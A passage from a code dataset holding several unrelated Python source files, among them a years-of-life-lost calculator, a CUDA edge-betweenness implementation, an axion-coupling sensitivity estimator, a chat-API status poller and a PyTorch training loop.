\"Race-County Life Expectancy\"})\n df_long = pd.merge(df_long, total_df, how=\"left\", on=[\"State\", \"County\"])\n\n # Calculate race-State life expectancy (LE based on population of a certain race in state)\n state_df = state_df[cols_to_keep] \n state_df = state_df.rename(columns = {\"Life Expectancy\":\"Life Expectancy (State)\"})\n state_long = pd.melt(state_df, id_vars = id_vars\n ,var_name=\"Race\"\n ,value_name=\"Life Expectancy\")\n state_long = state_long.rename(columns = {\"Life Expectancy\":\"Race-State Life Expectancy\"})\n state_long[\"Race\"] = state_long['Race'].str.extract(r\"\\((.*?)\\)\", expand=False)\n state_long = state_long.drop(columns=['County'])\n df_long = pd.merge(df_long, state_long, how=\"left\", on=[\"State\", \"Race\"])\n\n df_long.to_csv(os.path.join(params.CLEAN_DATA_PATH, outfilename), index=False)\n\ndef calc_yll(df, yllname, le, age):\n '''Calculate years of life lost\n\n Keyword arguments:\n df -- the dataframe\n yllname -- the name of the resulting variable\n le - the life expectacny variable\n age - the age variable\n\n returns a dataframe with an additional column: years of life lost\n \"\"\"\n if imag == 0.0 and real == 0.0:\n return complex_zero\n '''\n df[yllname] = (df[le] - df[age]) * df[\"Deaths\"]\n df.loc[df[yllname] < 0, yllname] = 0\n return df\n","repo_name":"mchappelka/yll","sub_path":"code/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":3966,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17321328477","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jan 6 10:46:12 2017\n\n@author: pgoltstein\n\"\"\"\n\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport os\nprint(\" \")\nprint(\"----------------------------------------------------------\")\nprint(\"Importing ImageAnnotation as ia\")\nimport ImageAnnotation as ia\n\nmatplotlib.rcParams['pdf.fonttype'] = 42\nmatplotlib.rcParams['ps.fonttype'] = 42\n\n# Overall settings\nfilepath = '/data/DataSet_small1'\nroifile = 'F03-Loc5-V1-20160202-ovlSplitROI1.mat'\nimfile = 'F03-Loc5-V1-20160202-L1-channels.mat'\n\nim_size = (27,27)\nrotation_list = np.arange(0,360,1)\nscale_list_x = np.arange(0.9,1.1,0.01)\nscale_list_y = np.arange(0.9,1.1,0.01)\nnoise_level_list = np.arange(0.1,0.3,0.01)\n\n\n# Create an instance of the AnnotatedImage class\nanim1 = ia.AnnotatedImage()\nanim1.import_annotations_from_mat(file_name=roifile,file_path=filepath)\nanim1.add_image_from_file(file_name=imfile,file_path=filepath)\nanim1.exclude_border = (40,40,40,40)\nprint(\" >> \" + anim1.__str__())\n\n# Make RGB grid with 20 anim1 annotations\nch_ord = (0,1,2)\nannot_no = []\nannot_no.extend(range(239))\nannot_no.extend(range(239))\nannot_no.extend(range(239))\nimage_grid, shift = anim1.image_grid_RGB( im_size,\n annotation_nrs=annot_no, n_x=32, n_y=16, channel_order=ch_ord,\n line_color=0, auto_scale=True )\nimage_grid[:,:,2] = 0\nbodies_grid, b_shift = anim1.image_grid_RGB( im_size, image_type='Bodies',\n annotation_nrs=list(range(16)), n_x=4, n_y=4, channel_order=ch_ord,\n line_color=1, auto_scale=True )\n\n\n# Get training set\nanim1.include_annotation_typenrs = 1\nanim1.centroid_dilation_factor = 2\nsamples_mrph,labels_mrph,annotations_mrph = anim1.get_batch( \\\n # im_size, annotation_type='bodies', return_annotations=\"bodies\",\n im_size, annotation_type='centroids', return_annotations=\"centroids\",\n m_samples=50, morph_annotations=False,\n annotation_border_ratio=0.2,\n rotation_list=rotation_list, scale_list_x=scale_list_x,\n scale_list_y=scale_list_y, noise_level_list=noise_level_list )\n\nan_lst = []\nfor x in range(0,25,5):\n an_lst.extend(list(range(x+0,x+5)))\n an_lst.extend(list(range(x+25,x+30)))\nprint(an_lst)\nsamples_grid,_,brdr = ia.image_grid_RGB( samples_mrph,\n n_channels=anim1.n_channels, annotation_nrs=an_lst,\n image_size=im_size, n_x=10, n_y=5, channel_order=ch_ord,\n amplitude_scaling=(1.33,1.33,1.0), line_color=0,\n auto_scale=True, return_borders=True )\nsamples_grid[:,:,2] = 0\nsamples_grid[brdr==1] = 1 # make borders white\nannotations_grid,shift,_ = ia.image_grid_RGB( annotations_mrph,\n n_channels=1, annotation_nrs=an_lst,\n image_size=im_size, n_x=10, n_y=5, channel_order=ch_ord,\n amplitude_scaling=(1.33,1.33,1), line_color=1,\n auto_scale=True, return_borders=True )\nbrdr[:,int(brdr.shape[1]/2):,:] = 0\nannotations_grid[brdr==1] = 0.5 # make borders white\n\ngrid = np.concatenate([samples_grid,annotations_grid],axis=0)\n\nanim1.crop(left=200, top=150, width=100, height=100 )\n\n# ************************************************************\n# Show matplotlib images\n\n# Show channels\n# with sns.axes_style(\"white\"):\n# fig,ax = plt.subplots(figsize=(12,6), facecolor='w', edgecolor='w')\n# ax.imshow( image_grid, interpolation='nearest', vmax=image_grid.max()*0.7 )\n# plt.axis('tight')\n# plt.axis('off')\n#\n# with sns.axes_style(\"white\"):\n# fig,ax = plt.subplots(figsize=(8,8), facecolor='w', edgecolor='w')\n# ax.imshow( anim1.RGB(channel_order=(0,1,2),amplitude_scaling=(1.5,1.5,0)), interpolation='nearest')\n# plt.axis('tight')\n# plt.axis('off')\n#\n# with sns.axes_style(\"white\"):\n# fig,ax = plt.subplots(figsize=(8,8), facecolor='w', edgecolor='w')\n# ax.imshow( anim1.RGB(channel_order=(0,1,2),amplitude_scaling=(1.5,1.5,0)), interpolation='nearest')\n# for an in anim1.annotation:\n# ax.plot( an.perimeter[:,1], an.perimeter[:,0],\n# linewidth=1, color=\"#ffffff\" )\n# plt.axis('tight')\n# plt.axis('off')\n#\n# with sns.axes_style(\"white\"):\n# fig,ax = plt.subplots(figsize=(8,8), facecolor='w', edgecolor='w')\n# ax.imshow( anim1.bodies>0, interpolation='nearest')\n# plt.axis('tight')\n# plt.axis('off')\n#\n# with sns.axes_style(\"white\"):\n# fig,ax = plt.subplots(figsize=(8,8), facecolor='w', edgecolor='w')\n# ax.imshow( anim1.centroids>0, interpolation='nearest')\n# plt.axis('tight')\n# plt.axis('off')\n\nwith sns.axes_style(\"white\"):\n fig,ax = plt.subplots(figsize=(8,8), facecolor='w', edgecolor='w')\n ax.imshow( grid, interpolation='nearest')\n plt.axis('tight')\n plt.axis('off')\n\n# Show plots\nplt.tight_layout()\nplt.show()\n","repo_name":"pgoltstein/NeuralNetImageAnnotation","sub_path":"test_figures_annotated_image.py","file_name":"test_figures_annotated_image.py","file_ext":"py","file_size_in_byte":4692,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"12401735492","text":"# import sklearn\nfrom sklearn.naive_bayes import GaussianNB\nimport numpy as np\nimport json\nimport random\nimport re\nimport string\nimport pickle\n\ndef get_config(configfile):\n\tconfig = []\n\ttry:\n\t\tFile = open(configfile,'r')\n\t\tconfig = json.load(File)\n\texcept Exception as e:\n\t\tprint(str(e))\n\telse:\n\t\tFile.close()\n\treturn config\n\ndef get_matrix(config):\n\tmatrix = {}\n\ttry:\n\t\tFile = open(config['matrix'],'r')\n\t\tmatrix = json.load(File)\n\texcept Exception as e:\n\t\tprint(str(e))\n\telse:\n\t\tFile.close()\n\treturn matrix\n\n\ndef get_feature_array(matrix):\n\tfeatures = []\n\ttags_order = []\n\tcount = 0\n\tfor file in matrix:\n\t\t# if count ==0:\n\t\t# \tprint([tag for tag in matrix[file]])\n\t\t# print([matrix[file][tag] for tag in matrix[file]])\n\t\tf = []\n\t\tfor tag in matrix[file]:\n\t\t\tif tag != 'target':\n\t\t\t\tif count == 0:\n\t\t\t\t\ttags_order.append(tag)\n\t\t\t\tf.append(matrix[file][tag])\n\t\tif len(f) == 16:\n\t\t\tfeatures.append((f,matrix[file]['target']))\n\t\tcount+=1\n\treturn(features,tags_order)\t\n\ndef trainandfit_NB(array_features,target):\n\tclassifier = GaussianNB()\n\tmodel = classifier.fit(array_features,target)\n\treturn model\n\ndef predictandanalyse(model,test_features,target):\n\toutput_target = model.predict_proba(test_features)\n\tc = 0\n\t# for i in range(len(target)):\n\t# \tif(target[i] == output_target[i]):\n\t# \t\tc+=1\n\t# print(c,len(target))\n\tprint(output_target)\n\treturn \n\ndef predict_one_row(model, row):\n\top = model.predict(row.reshape(1,-1))\n\tprob = model.predict_proba(row.reshape(1,-1))[0][op]\n\treturn[op,prob] \n\ndef train_nb():\n\tglobal matrix\n\tconfig = get_config('config.json')\n\tmatrix = get_matrix(config)\n\ttmp = get_feature_array(matrix)\n\tfeatures = tmp[0]\n\ttags_order = tmp[1]\n\tfile = open(config['tags_order'],'w')\n\tjson.dump(tags_order,file)\n\tfile.close()\n\n\tarray_features = np.array([f[0] for f in features])\n\ttarget = [f[1] for f in features]\n\t# print(array_features)\n\t# for f in matrix:\n\t# \tif 'experience' in matrix[f].keys():\n\t# \t\tprint(matrix[f]['experience'],f)\n\t# \telse:\n\t# \t\tprint('no exp ',f)\t\n\t# print(target)\n\t# print(array_features)\n\t# print(len(array_features),len(array_features[1]))\n\tnaive_bayes_model = trainandfit_NB(array_features, target)\n\tpickle.dump(naive_bayes_model, open(config['model_pickle'], \"wb\"))\n\treturn (naive_bayes_model, array_features, target)\n\n\n# (model, array_features, target) = train_nb()\t\n# predictandanalyse(model, array_features[2].reshape(1,-1), target)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"maniteja6799/Project-machine-learning","sub_path":"ml-models/mlmodels.py","file_name":"mlmodels.py","file_ext":"py","file_size_in_byte":2404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20557374391","text":"from numba import cuda, jit, prange\nimport numpy as np\nimport math\nimport sys\ngName = sys.argv[1]\n\nINF = 123456789\nBLOCK_SIZE = 32\n\nf = open(gName, \"r\")\nnumVertices = int(f.readline())\ng_adj = []\n# print(vertices)\nfor i in range(numVertices):\n g_adj.append(list(map(int, f.readline().split())))\nf.close()\n\nneighborsPerVertex = 0\nfor i in range(numVertices):\n neighborsPerVertex = max(neighborsPerVertex, len(g_adj[i]))\n\nnumEdges = neighborsPerVertex * numVertices\nedgeArray = np.empty(numEdges, dtype=int)\nedgeArray.fill(INF)\nfor i in range(numVertices):\n for j in range(len(g_adj[i])):\n edgeArray[i * neighborsPerVertex + j] = g_adj[i][j]\n\n\n@cuda.jit\ndef levelAndParent_Kernel(parent, visited, que, newque, edgeArray, numVertices, neighborsPerVertex):\n tIdx = cuda.grid(1)\n\n if tIdx < numVertices:\n\n if que[tIdx] == True:\n startEdges, endEdges = tIdx * \\\n neighborsPerVertex, (tIdx + 1) * neighborsPerVertex\n\n for edge in range(startEdges, endEdges, 1):\n visitVertice = edgeArray[edge]\n # not an edge\n if visitVertice == INF:\n break\n # only visit vertex diffent level\n if que[visitVertice] == False:\n # visit parent\n if visited[visitVertice] == True:\n parent[tIdx] += parent[visitVertice]\n # visit child\n else:\n newque[visitVertice] = True\n\n\n@cuda.jit\ndef putInQueue_Kernel(level, parent, visited, que, newque, edgeArray, numVertices, neighborsPerVertex, currentLevel):\n tIdx = cuda.grid(1)\n\n if tIdx < numVertices:\n\n if que[tIdx] == True:\n level[tIdx] = currentLevel\n que[tIdx] = False\n visited[tIdx] = True\n\n if newque[tIdx] == True:\n que[tIdx] = True\n newque[tIdx] = False\n\n\n@cuda.jit\ndef countBetweenness_Kernel(bet, point, parent, level, visited, que, edgeArray, numVertices, neighborsPerVertex, currentLevel):\n tIdx = cuda.grid(1)\n\n if tIdx < numVertices:\n\n if que[tIdx] == True:\n startEdges, endEdges = tIdx * \\\n neighborsPerVertex, (tIdx + 1) * neighborsPerVertex\n\n for edge in range(startEdges, endEdges, 1):\n visitVertice = edgeArray[edge]\n # not an edge\n if visitVertice == INF:\n break\n # only visit vertex diffent level\n if que[visitVertice] == False:\n # visit parent\n if visited[visitVertice] == False and level[visitVertice] == currentLevel - 1:\n updatePoint = (\n point[tIdx] / parent[tIdx]) * parent[visitVertice]\n cuda.atomic.add(bet, edge, updatePoint)\n cuda.atomic.add(point, visitVertice, updatePoint)\n\n\n@cuda.jit\ndef markVisited_Kernel(que, visited, edgeArray, numVertices):\n tIdx = cuda.grid(1)\n\n if tIdx < numVertices:\n if que[tIdx] == True:\n que[tIdx] = False\n visited[tIdx] = True\n\n\n@cuda.jit\ndef putLowerLevel_Kernel(que, level, edgeArray, numVertices, currentLevel):\n tIdx = cuda.grid(1)\n\n if tIdx < numVertices:\n if level[tIdx] == currentLevel:\n que[tIdx] = True\n\n\nbet = np.zeros(numEdges, dtype=float)\n\n\ndef bfs(start):\n level = np.empty(numVertices, dtype=int)\n level.fill(INF)\n parent = np.zeros(numVertices, dtype=float)\n visited = np.zeros(numVertices, dtype=bool)\n que = np.zeros(numVertices, dtype=bool)\n newque = np.zeros(numVertices, dtype=bool)\n point = np.zeros(numVertices, dtype=float)\n point.fill(1)\n GRID_SIZE = int(math.ceil(numVertices / BLOCK_SIZE))\n que[start] = True\n parent[start] = 1\n level[start] = 0\n\n currentLevel1 = 0\n while currentLevel1 < 25:\n levelAndParent_Kernel[GRID_SIZE, BLOCK_SIZE](\n parent, visited, que, newque, edgeArray, numVertices, neighborsPerVertex)\n cuda.synchronize()\n putInQueue_Kernel[GRID_SIZE, BLOCK_SIZE](\n level, parent, visited, que, newque, edgeArray, numVertices, neighborsPerVertex, currentLevel1)\n currentLevel1 += 1\n\n que = np.zeros(numVertices, dtype=bool)\n visited = np.zeros(numVertices, dtype=bool)\n point = np.empty(numVertices, dtype=float)\n point.fill(1)\n\n maxLevel = 0\n for i in range(numVertices):\n if level[i] != INF:\n maxLevel = max(maxLevel, level[i])\n\n for i in range(numVertices):\n if level[i] == maxLevel:\n que[i] = True\n\n currentLevel2 = maxLevel\n\n while currentLevel2 >= 0:\n countBetweenness_Kernel[GRID_SIZE, BLOCK_SIZE](\n bet, point, parent, level, visited, que, edgeArray, numVertices, neighborsPerVertex, currentLevel2)\n cuda.synchronize()\n currentLevel2 -= 1\n markVisited_Kernel[GRID_SIZE, BLOCK_SIZE](\n que, visited, edgeArray, numVertices)\n cuda.synchronize()\n putLowerLevel_Kernel[GRID_SIZE, BLOCK_SIZE](\n que, level, edgeArray, numVertices, currentLevel2)\n cuda.synchronize()\n\n\nfor i in range(numVertices):\n bfs(i)\n\nresBet = []\nfor i in range(numVertices):\n for j in range(neighborsPerVertex):\n id = i * neighborsPerVertex + j\n if edgeArray[id] != INF:\n if(bet[id] != 0):\n if (edgeArray[id] > i):\n resBet.append(f\"({i}, {edgeArray[id]}) {bet[id]:0.2f}\")\n\nf = open(\"resParallel_\" + gName, \"w\")\nfor i in range(len(resBet)):\n f.write(resBet[i] + '\\n')\nf.close()\n","repo_name":"nomiku1999/Parallel_Programming_with_Girvan_Newman","sub_path":"Code/parallel.py","file_name":"parallel.py","file_ext":"py","file_size_in_byte":5669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33047770634","text":"from matplotlib.pyplot import *\nfrom numpy import *\n\n\n\nclass Glimit:\n def __init__(self):\n self.h = 6.626e-34 # J/k\n self.h_bar = 4.135e-15/(2*pi) # ev\n self.k = 1.38e-23 # J\n self.rho = 0.45e15 # axion density (GeV/cc)\n self.big_A = 78e6 # 78Mev\n self.C = 3e8 # The Speed of light\n self.alpha = 1/137 # fine structure const\n self.mu = 4*pi * 1e-7 \n self.e = 1.6e-19\n self.he = self.h/self.e\n self.cm = 0.6527 # one hour (s)\n\n self.s = 0 # S₁₁\n self.T = .3 # physical + noise (k) \n self.f = 5e9 # 5Ghz Frequency (10⁹ Hz)\n self.B = 8 # Magnetic (T)\n self.V = 120*pi*621e-9 #48338e-9 # Volume (L)\n self.Q = 25000 # Q factor \n self.delta_v = 1000 # 5kHz\n self.delta_w = 5000 # 5kHz\n self.cooling = 0\n self.SNR = 5\n self.beta = 1\n self.total_time = 86400 * 7\n self.Scanwin = 2e6\n self.Scanran = 2e6\n self.Scanshi = 2e6\n \n self.ksvz_g_gamma = -0.97\n self.dfsz_g_gamma = 0.36\n self.calculate()\n\n def calculate(self):\n \n self.w = 2*pi*(self.f)\n self.ma = self.h_bar * self.w\n self.t = self.total_time / self.Scanran * self.Scanshi - self.cooling\n\n assert self.t > 0,\"No time for cooling down\"\n\n self.g_KSVZ = 0.97 * self.ma * self.alpha /(pi * self.big_A * self.big_A)\n self.Na = self.delta_v * self.t\n self.Ns = self.Scanwin/self.Scanshi\n self.sigma = self.k * self.T * self.delta_w/sqrt(self.Ns * self.Na) \n \n self.shift = ((self.h_bar*self.C)**3)*self.rho / (self.ma**2) * (1/self.mu) * (self.B**2) * \\\n self.V * self.w* self.cm * self.Q *self.beta / (1+self.beta)\n \n def cal_single_point(self):\n self.w = 2*pi*(self.f)\n self.ma = self.h_bar * self.w\n self.Na = self.delta_v * self.t\n self.Ns = 1\n self.sigma = self.k * self.T * self.delta_w/sqrt(self.Na) \n self.shift = ((self.h_bar*self.C)**3)*self.rho / (self.ma**2) * (1/self.mu) * (self.B**2) * \\\n self.V * self.w* self.cm * self.Q *self.beta / (1+self.beta)\n\n def g_a_gamma(self):\n return sqrt( self.SNR*self.sigma/self.shift) * 1e9\n \n def g_gamma(self):\n return (pi * self.big_A * self.big_A) * self.g_a_gamma() / self.ma / self.alpha * 1e-9 \n \n # convert G_a_gamma_gamma to G_gamma\n def to_g_gamma(self,x):\n return (pi * self.big_A * self.big_A) * x / self.ma / self.alpha * 1e-9\n\n\n def ksvz_g_a_gamma(self):\n return 0.97 * self.ma * self.alpha /(pi * self.big_A * self.big_A) * 1e9\n \n def information(self):\n self.calculate()\n print(\"|\",\"=\"*18,\"Parameter\",\"=\"*14)\n print(f\"| f = {self.f:10.3e} (Frequency [Hz])\")\n print(f\"| B = {self.B:10.3f} (Magnetic[T])\")\n print(f\"| V = {self.V:10.3e} (Cavity Volume [L])\")\n print(f\"| Q = {self.Q:10.3f} (Q factor)\")\n print(f\"| T = {self.T:10.3f} (Noise temp [k])\")\n print(f\"| t = {self.t:10.3f} (Integration time [s])\")\n print(\"|\",\"=\"*18,f\"OUR (SNR = {self.SNR:d})\",\"=\"*10)\n print(f\"| g_a_gamma = {self.g_a_gamma() } GeV^-1\")\n print(f\"| g_gamma = {self.g_gamma()}\")\n print(\"|\",\"=\"*18,f\"KSVZ (SNR = {self.SNR:d})\",\"=\"*9)\n print(\"|\",f\"ksvz_g_a_gamma = {self.ksvz_g_a_gamma()} GeV^-1\")\n print(\"|\",f\"ksvz_g_gamma = {self.ksvz_g_gamma}\")\n print(\"|\",\"=\"*43)\n print()\n\n # Find the scan range and integration time with given target limit\n def find_limit(self,target):\n \n print(\"|\",\"=\"*14,\"Parameter\",\"=\"*18)\n print(f\"| f = {self.f:10.3e} (Frequency [Hz])\")\n print(f\"| B = {self.B:10.3f} (Magnetic[T])\")\n print(f\"| V = {self.V:10.3e} (Cavity Volume [L])\")\n print(f\"| Q = {self.Q:10.3f} (Q factor)\")\n print(f\"| T = {self.T:10.3f} (Noise temp [k])\")\n print(\"|\",\"=\"*43)\n print(\"\\n\")\n print(\"[*] Total time : \",self.total_time)\n print(\"[*] Seaching limit :\",target ,\"times KSVZ limit\")\n\n def start_exp(scan_shfit):\n spectrum = zeros(int((scan_range + scan_windos)//grid_unit))\n weight = zeros(int((scan_range + scan_windos)//grid_unit))\n sigma = zeros(int((scan_range + scan_windos)//grid_unit))\n shift_index = int(scan_shfit/grid_unit)\n start_index = 0\n \n f_now = f_start\n noise = random.normal(0,1,windo_index)\n while f_now <= f_end:\n noise = np.zeros(windo_index) +1\n scan_f = linspace(f_now - scan_windos/2, f_now + scan_windos/2, windo_index)\n sigma_this = 1\n \n w = Lorentz(scan_f, f_now, self.Q) / sigma_this**2\n noise *= w\n sig = sigma_this**2 * (w)**2\n \n spectrum[start_index:start_index+windo_index] = spectrum[start_index:start_index+windo_index] + noise*w\n weight[ start_index:start_index+windo_index] = weight[start_index:start_index+windo_index] + w\n sigma[ start_index:start_index+windo_index] = sigma[start_index:start_index+windo_index] + sig\n \n f_now += scan_shfit\n start_index += shift_index\n return linspace(f_start, f_end, int((scan_range + scan_windos)//grid_unit)), spectrum, sigma\n\n def Lorentz(x,fr,Q):\n return 1 / (1 + ( 2*Q*(x/fr-1))**2)\n def merging(x,y,merge):\n out_x, out_y = [], []\n for i in range(len(x)//merge):\n out_x.append(mean(x[i*merge:(i+1)*merge]))\n out_y.append(sum( y[i*merge:(i+1)*merge]))\n return array(out_x), array(out_y)\n\n grid_unit = 1e3\n f_start = self.f - 200e3*100\n f_end = self.f + 200e3*100\n scan_windos = 2e6\n windo_index = int(scan_windos/grid_unit)\n scan_range = f_end - f_start\n start_index = int((scan_windos/2) / grid_unit)\n end_index = start_index + int(scan_range / grid_unit)\n\n x,spec, sigm = start_exp(self.f / self.Q / 2)\n # print(spec,sigm)\n \n _, spec = merging(x,spec,5)\n x, sigm = merging(x,sigm,5)\n y = np.divide(spec, sqrt(sigm), out=np.zeros_like(spec), where=sqrt(sigm)!=0)\n\n self.t = 600*60\n self.cal_single_point()\n with np.errstate(divide='ignore'):\n g_a_gamma = sqrt(self.sigma*5/self.shift/y) * 1e9\n\n g_gamma = self.to_g_gamma(g_a_gamma)\n\n # (pi * self.big_A * self.big_A) * g_a_gamma / self.ma / self.alpha * 1e-9\n # print(min(g_gamma/0.97))\n\n new_t = self.t * ( min(g_gamma/0.97) / target) **4\n print(f\"[*] Founded Answer :\")\n print(f\"\\t Integration : {(new_t/60):7.2f} [minutes] to reach {target} times KSVZ limit\")\n print(f\"\\t Cold down : {self.cooling:7.2f} [seconds]\")\n print(f\"\\t Total time : {self.total_time/3600:7.2f} [hours]\")\n print(f\"\\t Step size : {self.f / self.Q / 2*1e-3:7.2f} [kHz]\")\n print(f\"\\t Move rod : {self.total_time / (new_t + self.cooling):7.2f} [steps] (should be a convert to a integer)\")\n print(f\"\\t Total scan : {self.total_time / (new_t + self.cooling) * self.f / self.Q / 2*1e-6:7.2f} [MHz]\")\n\n\n self.t = new_t\n\n assert new_t < self.total_time ,\"Integration time is larger then total time\"\n\n\n f_start = self.f - self.f / self.Q / 2*(self.total_time / (new_t + self.cooling)//2)\n f_end = self.f + self.f / self.Q / 2*(self.total_time / (new_t + self.cooling)//2)\n scan_range = f_end - f_start\n start_index = int((scan_windos/2) / grid_unit)\n end_index = start_index + int(scan_range / grid_unit)\n x,spec, sigm = start_exp(self.f / self.Q / 2)\n _, spec = merging(x,spec,5)\n x, sigm = merging(x,sigm,5)\n y = np.divide(spec, sqrt(sigm), out=np.zeros_like(spec), where=sqrt(sigm)!=0)\n\n self.cal_single_point()\n with np.errstate(divide='ignore'):\n g_a_gamma = sqrt(self.sigma*5/self.shift/y) * 1e9\n g_gamma = (pi * self.big_A * self.big_A) * g_a_gamma / self.ma / self.alpha * 1e-9\n\n figure()\n max_ratio = min(g_gamma/0.97)\n title(f\"Best value : {max_ratio:.3f} \")\n plot(x*1e-9,g_gamma/0.97,label=\"This experiment\")\n\n plot(x*1e-9,abs(self.ksvz_g_gamma +x*0)/0.97,\"b--\",label=\"KSVZ\")\n plot(x*1e-9,abs(self.dfsz_g_gamma +x*0)/0.97,\"r--\",label=\"DFSZ\")\n upper = 4\n down = abs(self.dfsz_g_gamma +x*0)/abs(self.ksvz_g_gamma) / 4\n fill_between(x*1e-9,upper,down,color=\"yellow\",label=\"model region\")\n\n xlabel(f\"Freq [GHz]\")\n ylabel(r\"$\\frac{G_\\gamma}{G_{KSVZ}}$\",size=20)\n xlim(min(x*1e-9),max(x*1e-9))\n tight_layout()\n grid()\n gcf().autofmt_xdate()\n legend()\n tight_layout()\n show()\n\n\nif __name__ == \"__main__\":\n g = Glimit()\n g.B = 8\n g.Q = 30000\n g.T = 2\n g.total_time = 14 * 24 * 3600\n g.SNR = 5\n g.f = 4.74e9\n g.beta = 2\n g.cooling = 5 * 60\n g.delta_w = 5000\n g.delta_v = 1000\n g.information()\n # print(g.to_g_gamma(1.3e-13))\n\n g.find_limit(10)","repo_name":"OuYangMinOa/ou_Axion_limit","sub_path":"ou_Axion_limit/Glimit.py","file_name":"Glimit.py","file_ext":"py","file_size_in_byte":9582,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"18130405161","text":"from Object.time_location_obj import TimeLocationObj\nfrom typing import List, Tuple\n\nclass ActivityObj():\n _activity_title: str\n _time_location_list: List[TimeLocationObj]\n\n def __init__(self, activity_title: str,\n time_location_list: List[TimeLocationObj]):\n self._activity_title = activity_title\n self._time_location_list = time_location_list\n\n def to_str_tabulate(self) -> Tuple[List, List]:\n titles = []\n content = []\n for item in self._time_location_list:\n li = item.to_str_tabulate()\n titles = li[0]\n temp = li[1]\n temp.insert(0, self._activity_title)\n content.append(temp)\n\n titles.insert(0, 'Activity')\n return (titles, content)\n","repo_name":"ystcheng/Acorn-API","sub_path":"Object/activity_obj.py","file_name":"activity_obj.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14183101846","text":"from datetime import datetime as dt\nfrom datetime import timedelta as td\nfrom datetime import timezone as tz\n\nimport charset_normalizer.constant\n\nfrom api.umbler.ambiente import CHAT_ID, ORGANIZATION_ID\nfrom api.umbler.resposta_erro import resposta_erro\nfrom api.umbler.utils import get\nfrom servicenow.compartilhado.constantes import EMPRESAS\n\nultima_24_horas = (dt.now(tz.utc) - td(hours=5)).strftime('%Y-%m-%dT%H:%M:%S.%f')\n\n\ndef obtem_pedido_status():\n\n r = get(f'/v1/chats/{CHAT_ID}/relative-messages/?'\n f'organizationId={ORGANIZATION_ID}&'\n f'FromEventUTC={ultima_24_horas}&'\n f'Take=250&'\n f'Direction=TakeAfter')\n\n erros = {}\n requisicoes = {}\n\n if r.ok:\n resposta = r.json()\n for posicao, mensagem in enumerate(resposta['messages']):\n conteudo = mensagem['content']\n hora = mensagem['eventAtUTC']\n id_req = mensagem['id']\n\n if conteudo and 'STATUS_REQ' in conteudo:\n status_info = conteudo.split()\n if len(status_info) > 3:\n erros.setdefault(id_req, []).append('nao enviado empresa ou numero')\n\n else:\n empresa = status_info[1]\n numero = status_info[2]\n\n if empresa not in EMPRESAS:\n erros.setdefault(id_req, []).append(f'empresa nao esta em: {EMPRESAS}')\n\n else:\n requisicoes[id_req] = {\n 'empresa': empresa,\n 'numero': numero\n }\n\n elif conteudo and 'STATUS_RES' in conteudo:\n status_info = conteudo.split()\n if len(status_info) > 4:\n id_req = status_info[3]\n if id_req in requisicoes.keys():\n requisicoes.pop(id_req)\n\n if id_req in requisicoes.keys():\n erros.pop(id_req)\n\n else:\n print('mensagem', posicao, 'fora do padrao')\n\n for erro in erros:\n resposta_erro(erro)\n\n return requisicoes\n\n\n else:\n print('Erro', r.status_code, ':', r.text)\n\n return []\n\n","repo_name":"jonatasfraga/robo_servicenow","sub_path":"api/umbler/procura_pedido_status.py","file_name":"procura_pedido_status.py","file_ext":"py","file_size_in_byte":2254,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17291805853","text":"\n\"\"\"\nTrain and eval functions used in main.py\n\"\"\"\nimport math\nimport sys\nfrom typing import Iterable, Optional\nimport argparse\n\nimport torch\n\nfrom timm.data import Mixup\nfrom timm.utils import accuracy, ModelEma\n\nimport utils\nimport logging\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import precision_score,recall_score,f1_score\n\n\n\n\ndef train_one_epoch(model: torch.nn.Module, criterion: torch.nn.Module,\n data_loader: Iterable, optimizer: torch.optim.Optimizer,\n device: torch.device, epoch: int, loss_scaler, max_norm: float = 0,\n model_ema: Optional[ModelEma] = None, mixup_fn: Optional[Mixup] = None,\n args: argparse.ArgumentParser.parse_args = None):\n #losses = []\n #accuracies = []\n # TODO fix this for finetuning\n model.train()\n criterion.train()\n metric_logger = utils.MetricLogger(delimiter=\" \")\n metric_logger.add_meter('lr', utils.SmoothedValue(window_size=1, fmt='{value:.6f}'))\n header = 'Epoch: [{}]'.format(epoch)\n print_freq = 1 if args.debug else 300\n if args.update_temperature:\n model.module.update_temperature()\n\n for samples, targets in metric_logger.log_every(data_loader, print_freq, header):\n samples = samples.to(device, non_blocking=True)\n targets = targets.to(device, non_blocking=True)\n\n\n\n if mixup_fn is not None:\n samples, targets = mixup_fn(samples, targets)\n\n with torch.cuda.amp.autocast():\n outputs = model(samples)\n loss = criterion(outputs, targets)\n\n loss_value = loss.item()\n \n if not math.isfinite(loss_value):\n logging.error(\"Loss is {}, stopping training\".format(loss_value))\n sys.exit(1)\n\n #添加\n #losses.append(loss.item())\n #accuracy = (outputs.argmax(1) == targets).sum().item() / targets.size(0)\n #accuracies.append(accuracy)\n\n\n optimizer.zero_grad()\n\n # this attribute is added by timm on one optimizer (adahessian)\n is_second_order = hasattr(optimizer, 'is_second_order') and optimizer.is_second_order\n loss_scaler(loss, optimizer, clip_grad=max_norm,\n parameters=model.parameters(), create_graph=is_second_order)\n\n torch.cuda.synchronize()\n if model_ema is not None:\n model_ema.update(model)\n\n metric_logger.update(loss=loss_value)\n metric_logger.update(lr=optimizer.param_groups[0][\"lr\"])\n # gather the stats from all processes\n metric_logger.synchronize_between_processes()\n print(\"Averaged stats:\", metric_logger)\n\n '''plt.figure()\n plt.plot(losses)\n plt.xlabel('Epoch')\n plt.ylabel('Loss')\n plt.title('Loss 